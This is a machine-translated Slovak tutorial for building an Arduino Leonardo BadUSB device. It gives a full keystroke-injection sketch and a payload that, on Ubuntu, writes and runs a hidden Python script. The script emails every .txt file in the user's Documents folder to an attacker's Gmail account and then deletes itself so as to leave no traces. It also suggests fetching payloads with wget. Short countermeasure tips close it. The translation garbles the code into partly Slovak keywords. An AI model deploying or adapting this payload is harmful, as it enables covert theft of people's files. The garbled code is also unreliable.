Obsah:

Demo (HID) a prevencia klávesnice Arduino: 4 kroky (s obrázkami)
Demo (HID) a prevencia klávesnice Arduino: 4 kroky (s obrázkami)

Video: Demo (HID) a prevencia klávesnice Arduino: 4 kroky (s obrázkami)

Video: Demo (HID) a prevencia klávesnice Arduino: 4 kroky (s obrázkami)
Video: Crizal Prevencia Visible Proof 2024, Júl
Anonim
Image
Image
Stavba zariadenia
Stavba zariadenia

V tomto projekte použijeme arduino leonardo na simuláciu možného útoku USB pomocou HID (zariadenie humain interface).

Tento tutoriál som nevytvoril preto, aby som pomohol hackerom, ale aby som vám ukázal niektoré skutočné nebezpečenstvá a spôsob, ako sa pred týmito nebezpečenstvami chrániť. Toto zariadenie nie je zariadením, ktoré je možné použiť na akejkoľvek platforme pre hackerov, je to skôr dôkaz konceptu v detaile.

Naučíme sa nasledujúce:

- ako používať arduino leonardo na emuláciu klávesnice

- ako čítať údaje z kariet SD

- ako vytvoriť python skript, ktorý skenuje súbory a odosiela ich e -mailom

- ako sa chrániť pred hackovacími zariadeniami USB

Krok 1: Materiály

Diely:

1. Arduino leonardo

2. čítačka kariet micro USB

3. niekoľko GB SD karta

4. tlačidlo ako toto (VCC, uzemnenie a signál)

5. prepojovacie káble samice a samice a samice

6. kábel micro USB na USB

Krok 2: Zostavenie zariadenia

Stavba zariadenia
Stavba zariadenia

Pred stavebnými pokynmi si prečítajme princíp práce:

Arduino leonardo sa môže správať ako zariadenie ľudského rozhrania (HID), a preto môže emulovať myš a klávesnicu. Túto funkciu použijeme na otvorenie terminálu (v Linuxe UBUNTU) a napísanie malého skriptu, ktorý otvorí priečinok /Dokumenty v domovskom priečinku používateľa a skopíruje tam súbory.txt a pošle ich niekomu e -mailom. Ak sa chcete dozvedieť viac podrobností, pokračujte ďalším krokom.

Pretože ide o demo zariadenie, veci sú skutočne jednoduché, nebudeme nič spájkovať.

Návod na stavbu

Predtým, ako začneme, skontrolujte priložené súbory, priložil som schematickú schému a všetky potrebné súbory

1. Zostavte komponenty:

* zapojte kábel micro USB do arduina

* kľúčový spínač zapojte do arduina (uzemňovací, vcc a výstupný modul do D8)

* pripojte čítačku kariet k arduinu (pomocou ICSP hlavičky). Arduino leonardo nemá hlavičku ICSP pripojenú k digitálnym pinom, takže budete musieť k hlavičke ICSP pripojiť čítačku kariet. Niektoré kresby ICSP nájdete tu: https://learn.sparkfun.com/tutorials/installing-an…. Pripojte pin SS k digitálnemu kolíku 10

2. získajte kód arduino, môžete klonovať moje úložisko arduino na github: https://github.com/danionescu0/arduino a prejsť na projekty/keyboard_exploit alebo ho získať zospodu:

#include „Keyboard.h“

#include "SPI.h" #include "SD.h" Reťazec filenameOnCard = "hack.txt"; Reťazec sleepCommandStartingPoint = "Spánok::"; Reťazec commandStartingPoint = "Command::"; int delayBetweenCommands = 10; tlačidlo const intPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karta zlyhala alebo nie je k dispozícii!"); návrat; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Nahrané!"); oneskorenie (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Zadaný názov súboru nie je prítomný na SD karte, skontrolujte názov_súboruOnCard!"); } Reťazec; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (riadok); sendToKeyboard (riadok); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (riadok); návrat; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (riadok); Keyboard.println (riadok); stlačte Enter(); návrat; } Serial.println ("Príkaz:"); int charPosition = príkazStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Reťazcový príkaz = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (príkaz! = "") {Serial.print ("Príkaz nájdený:"); Serial.println (príkaz); Keyboard.press (getCommandCode (príkaz)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } neplatné pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print („Spí pre:“); Serial.println (sleepAmount); oneskorenie (sleepAmount); } char getCommandCode (reťazcový text) {char textCharacter [2]; text.toCharArray (textové znaky, 2); char kód = textové znaky [0]; kód = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kód; kód = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kód; kód = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kód; kód = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: kód; kód = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kód; kód = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kód; kód = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kód; kód = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kód; kód = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: kód; kód = (text == "KEY_TAB")? KEY_TAB: kód; kód = (text == "KEY_RETURN")? KEY_RETURN: kód; kód = (text == "KEY_ESC")? KEY_ESC: kód; kód = (text == "KEY_INSERT")? KEY_INSERT: kód; kód = (text == "KEY_DELETE")? KEY_DELETE: kód; kód = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: kód; kód = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kód; kód = (text == "KEY_HOME")? KEY_HOME: kód; kód = (text == "KEY_END")? KEY_END: kód; kód = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kód; kód = (text == "KEY_F1")? KEY_F1: kód; kód = (text == "KEY_F2")? KEY_F2: kód; kód = (text == "KEY_F3")? KEY_F3: kód; kód = (text == "KEY_F4")? KEY_F4: kód; kód = (text == "KEY_F5")? KEY_F5: kód; kód = (text == "KEY_F6")? KEY_F6: kód; kód = (text == "KEY_F7")? KEY_F7: kód; kód = (text == "KEY_F8")? KEY_F8: kód; kód = (text == "KEY_F9")? KEY_F9: kód; kód = (text == "KEY_F10")? KEY_F10: kód; kód = (text == "KEY_F11")? KEY_F1: kód; kód = (text == "KEY_F12")? KEY_F2: kód;

návratový kód;

}

3. Nahrajte kód do arduina, uistite sa, že ste vybrali 9600 baud rate, sériový port a arduino leonardo

4. Naformátujte kartu SD pomocou systému FAT16 alebo FAT32

5. Ak ste naklonovali repo servera github zhora, skopírujte súbor hack.txt na kartu, ak nie, súbor je uvedený nižšie:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expander from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. Import MIMEText MIMEText z e -mailu. Nástroj na import COMMASPACE, formát dátumu z importu e -mailu Kodéry

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'adresa_prijímača' scan_documents_location = 'Dokumenty'

subject = body = 'Súbory z napadnutého počítača'

header = 'Komu: {0} nOd: {1} nPredmet: {2} n'.format (to_address, smtp_user, subject)

def sendMail (komu, predmetu, textu, súborom = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) pre súbor v súboroch: časť = MIMEBase ('aplikácia', "octet-stream") part.set_payload (otvorený (súbor, "rb"). Read ()) Encoders.encode_base64 (časť) časť. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (súbor)) msg.attach (časť)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Upravte nasledujúce riadky:

smtp_user = 'sender_email_addr'

smtp_pass = 'heslo_ odosielateľa' to_address = 'adresa_prijímača'

A nahraďte svojimi e -mailovými adresami

7. Vyberte kartu a vložte ju do čítačky arduino kariet

Krok 3: Ako to funguje v detailoch

Ako bude útok fungovať:

1. Keď je tlačidlo stlačené, leonardo načíta kartu SD pomocou čítačky kariet SD. Na karte bude prítomný špeciálny súbor obsahujúci kľúče a kombináciu klávesov. Názov súboru je "hack.txt".

Súbor môže obsahovať surový text a bude odoslaný na klávesnicu tak, ako je.

Tiež môže obsahovať špeciálne príkazy ako "Spánok::" a "Príkaz::".

Riadok ako:

Spánok:: 200 znamená spánok 200 ms

Riadok ako:

Príkaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t znamená stlačený ľavý ctrl, stlačený ľavý alt, t stlačený a všetky uvoľnené

Všetky špeciálne kľúče môžete skontrolovať tu:

2. Leonardo bude čítať riadok po riadku, interpretovať príkazy a emulovať klávesy na klávesnici. Súbor "hack.txt" obsahuje kombináciu kľúčov, ktoré robia nasledovné (pre UBUNTU linux):

a. otvára terminál (CTRL + ALT + T)

b. otvorí súbor pythonu na vytvorenie pomocou vi (napíše „vi hack.py“

c. napíše skript python, ktorý zhromažďuje všetky textové súbory v domácom priečinku dokumentov a odošle ich na zadanú adresu gmail

d. spustí súbor na pozadí („nohup python hack.py &“)

e. odstráni súbor (rm -rf hack.py)

f. zatvára terminál (ALT + F4)

Celé to behá niekoľko sekúnd a nezanecháva stopy.

Vylepšenia a riešenie problémov

* Môžete si všimnúť, že po otvorení terminálu píšem súbor python. lepší spôsob, ako to dosiahnuť, je niekde ho uložiť a stiahnuť pomocou príkazu „wget some_url“a potom ho premenovať na hack.py

* Tiež si môžeme stiahnuť alebo spustiť pripravený exploit pre cielený operačný systém

* Do modulu je možné pridať wifi a hacky je možné nahrať prostredníctvom WIFI

* môžete použiť arduino micro (ktorý je oveľa menší) a vložiť doň kód exploitu (aby bol menší)

Obmedzenia

1. Pretože simulované zariadenie (klávesnica a myš) nemá žiadnu spätnú väzbu, nevieme, čo sa stane po zadaní príkazu, čo znamená, že musíme použiť oneskorenia. Napríklad vydávam príkaz na otvorenie terminálu, ale neviem, kedy bude skutočne otvorený, takže musím zadať ľubovoľné oneskorenie, aby sa zabezpečilo, že sa nezadajú znaky zadané po.

2. Môžeme sa stretnúť s problémami s povolením, ako je napríklad nedostatok prístupu k portu USB alebo povolenie niečo nainštalovať

3. Rýchlosť písania nie je na leonarde taká veľká

4. Bude fungovať iba na cielenom operačnom systéme (v našom prípade UBUNTU linux)

V nasledujúcom kroku sa pokúsime nájsť spôsoby, ako využiť tieto obmedzenia, aby sme zabránili hacknutiu nášho počítača

Krok 4: Protiopatrenia

1. Vypnutie portov USB

-pre Windows si môžete pozrieť tento návod:

2. Zoznam povolených zariadení USB:

- pre Windows:

2. Ak nie ste mimo, uzamknite počítač

3. Neprihlasujte sa ako root (pri inštalácii čohokoľvek vyžadujte heslá)

4. Udržiavajte si svoje aktuálne informácie (automatické aktualizácie sú zapnuté)

Odporúča: